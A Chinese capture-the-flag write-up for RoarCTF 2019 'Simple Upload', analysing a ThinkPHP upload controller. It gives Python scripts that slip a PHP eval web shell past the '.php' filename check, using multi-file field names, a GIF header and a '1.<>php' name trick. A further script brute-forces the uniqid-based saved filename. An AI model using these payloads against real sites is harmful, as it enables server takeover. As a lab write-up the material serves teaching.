RoarCTF-2019-Simple-Upload

摘要
Tinkphp、文件上传、爆破


#### 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
image-20210915134604888

下载对应的thinkphp,将源码放入Application/Home/Controller/IndexController,复现环境。

我们可以看到提供了一个upload方法,我们可以访问/home/index/upload?a=upload来请求upload操作

thinkphp 的 Upload 类 upload 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 /**
* 上传单个文件
* @param array $file 文件数组
* @return array 上传成功后的文件信息
*/
public function uploadOne($file)
{
$info = $this->upload(array($file));
return $info ? $info[0] : $info;
}

/**
* 上传文件
* @param 文件信息数组 $files ,通常是 $_FILES数组
*/
public function upload($files = '')
{
if ('' === $files) {
$files = $_FILES;
}
if (empty($files)) {
$this->error = '没有上传的文件!';
return false;
}
........
........
}

可以看到,当无参调用时,$files将为空串,且传入$_FILES数组,即多文件上传

通过查阅官方文档 文件上传

当传入file时,可识别为单文件,传入file1、file2、file3……将识别为多文件上传,上传文件数组

upload的误用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}

基于以上的了解,我们知道这里可以传多文件数组

$uploadFile只拿了$_FILES['file']这一个文件

再者,如果我们不传’file’文件,这玩意甚至拿不到……所以$uploadFile['name']也拿不到,过滤不了

所以我们传入file[]file1都可以绕过

至于后面的上传类型设置……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private $config = array(
'mimes' => array(), //允许上传的文件MiMe类型
'maxSize' => 0, //上传的文件大小限制 (0-不做限制)
'exts' => array(), //允许上传的文件后缀
'autoSub' => true, //自动子目录保存文件
'subName' => array('date', 'Y-m-d'), //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组
'rootPath' => './Uploads/', //保存根路径
'savePath' => '', //保存路径
'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组
'saveExt' => '', //文件保存后缀,空则使用原后缀
'replace' => false, //存在同名是否覆盖
'hash' => true, //是否生成hash编码
'callback' => false, //检测文件是否存在回调,如果存在返回文件信息数组
'driver' => '', // 文件上传驱动
'driverConfig' => array(), // 上传驱动配置
);

allowExts并不存在……

文件名生成:

1
2
3
4
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}

官方手册指明:

默认的命名规则设置是采用uniqid函数生成一个唯一的字符串序列。

文件名爆破

由于上传多文件读不出文件名,故需要在短时间内上传多文件,爆破中间文件

uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。

PHP 的 uniqid 函数产生的 id 真的是唯一的么?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PHP_FUNCTION(uniqid)
{
...
gettimeofday((struct timeval *) &tv, (struct timezone *) NULL);
sec = (int) tv.tv_sec;
usec = (int) (tv.tv_usec % 0x100000);

...
if (more_entropy) {
uniqid = strpprintf(0, "%s%08x%05x%.8F", prefix, sec, usec, php_combined_lcg() * 10);
} else {
uniqid = strpprintf(0, "%s%08x%05x", prefix, sec, usec);
}

RETURN_STR(uniqid);
}

我用的php测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
echo uniqid();
echo PHP_EOL;
print_r(gettimeofday());
echo PHP_EOL;
//echo uniqid();
echo PHP_EOL;
$time = gettimeofday();
printf("%08x%05x",$time[sec],$time[usec]);
sleep(2);
echo PHP_EOL;
$time = gettimeofday();
printf("%08x%05x",$time[sec],$time[usec]);

默认生成的13位id,分为前八位+后五位

后五位为毫秒数的16进制,这样我们可以通过两次的文件名爆破中间的文件名,不用爆破五位数(过于离谱)。但还是太大,动辄20万的访问量……

优化–python版的uniqid:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import time, math, random


# port of uniqmodule.c to pure python by Derwentx,
# inspired by http://gurukhalsa.me/2011/uniqid-in-python/

def uniqid(prefix='', more_entropy=False):
"""uniqid([prefix=''[, more_entropy=False]]) -> str
Gets a prefixed unique identifier based on the current
time in microseconds.
prefix
Can be useful, for instance, if you generate identifiers
simultaneously on several hosts that might happen to generate
the identifier at the same microsecond.
With an empty prefix, the returned string will be 13 characters
long. If more_entropy is True, it will be 23 characters.
more_entropy
If set to True, uniqid() will add additional entropy (using
the combined linear congruential generator) at the end of
the return value, which increases the likelihood that
the result will be unique.
Returns the unique identifier, as a string."""
m = time.time()
sec = math.floor(m)
usec = math.floor(1000000 * (m - sec))
if more_entropy:
lcg = random.random()
the_uniqid = "%08x%05x%.8F" % (sec, usec, lcg * 10)
else:
the_uniqid = '%8x%05x' % (sec, usec)

the_uniqid = prefix + the_uniqid
return the_uniqid

利用这个来缩小差距:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# coding=utf-8
# 多重文件上传与文件上传函数
import requests
from Func import uniqid

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0'}
url = "http://0b3a62d9-f8a1-4b30-9fb0-7ebe4a879ffa.node4.buuoj.cn:81/?a=upload"
shell = "<?php @eval($_POST['ok']) ?>"
prefix = "GIF8!"


# GIF8!
# \xff\xd8
# #define counter_width 40 \n#define counter_height 10


def upload_file(file_url, file_prefix, file_shell, file_value, file_name, file_type):
con = file_prefix + "\n" + file_shell
files = {
file_value: (file_name, con, file_type),
}
response = requests.post(url=file_url, files=files)
return response.text


# print (uniqid())
# print (upload_file(url, prefix, "1234", "file", "1.txt", "image/jpeg"))
# print (uniqid())
print (upload_file(url, prefix, shell, "file1", "1.php", "image/jpeg"))
print (uniqid())
# print (upload_file(url, prefix, "1234", "file", "1.txt", "image/jpeg"))
# print (uniqid())

在多次尝试后(花了我老长时间……

这样差距可以拉到4位左右

爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# coding=utf-8
from __future__ import print_function

# Come from File_Upload_Multi
# 基于两个 uniqid 破解中间文件名
import itertools
from time import sleep

import requests

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0'}
url = "http://0b3a62d9-f8a1-4b30-9fb0-7ebe4a879ffa.node4.buuoj.cn:81/Public/Uploads/2021-09-15/"

first_one = "6141708c79d38"
after_one = "6141708c7ffff"
sec = first_one[0:8]
usec_1 = "0x"+first_one[8:]
usec_2 = "0x"+after_one[8:]
f = (int(usec_1, 16))
e = (int(usec_2, 16))

for n in range(f, e):
that_one = sec + hex(n)[2:]
# print (that_one)
target = url + that_one + ".php"
res = requests.get(url=target)
if res.status_code == 200:
print ("[200]==> "+target)
break
else:
print("["+str(res.status_code)+"] ==> "+target+" ==> "+str(e-f)+"/"+str(n-f+1))
sleep(0.015)

后四位设为ffff

image-20210915142749628

终于……爆出来了……这玩意搞我几天了……🙄

直接出……

image-20210915143040265

还有更简单的

1
2
3
files = {
'file': ('1.<>php', con, 'image/jpeg'),
}

由于搜索的是.php,所以……

image-20210916090229278

作者

inanb

发布于

2021-09-15

更新于

2021-09-16

许可协议


:D 一言句子获取中...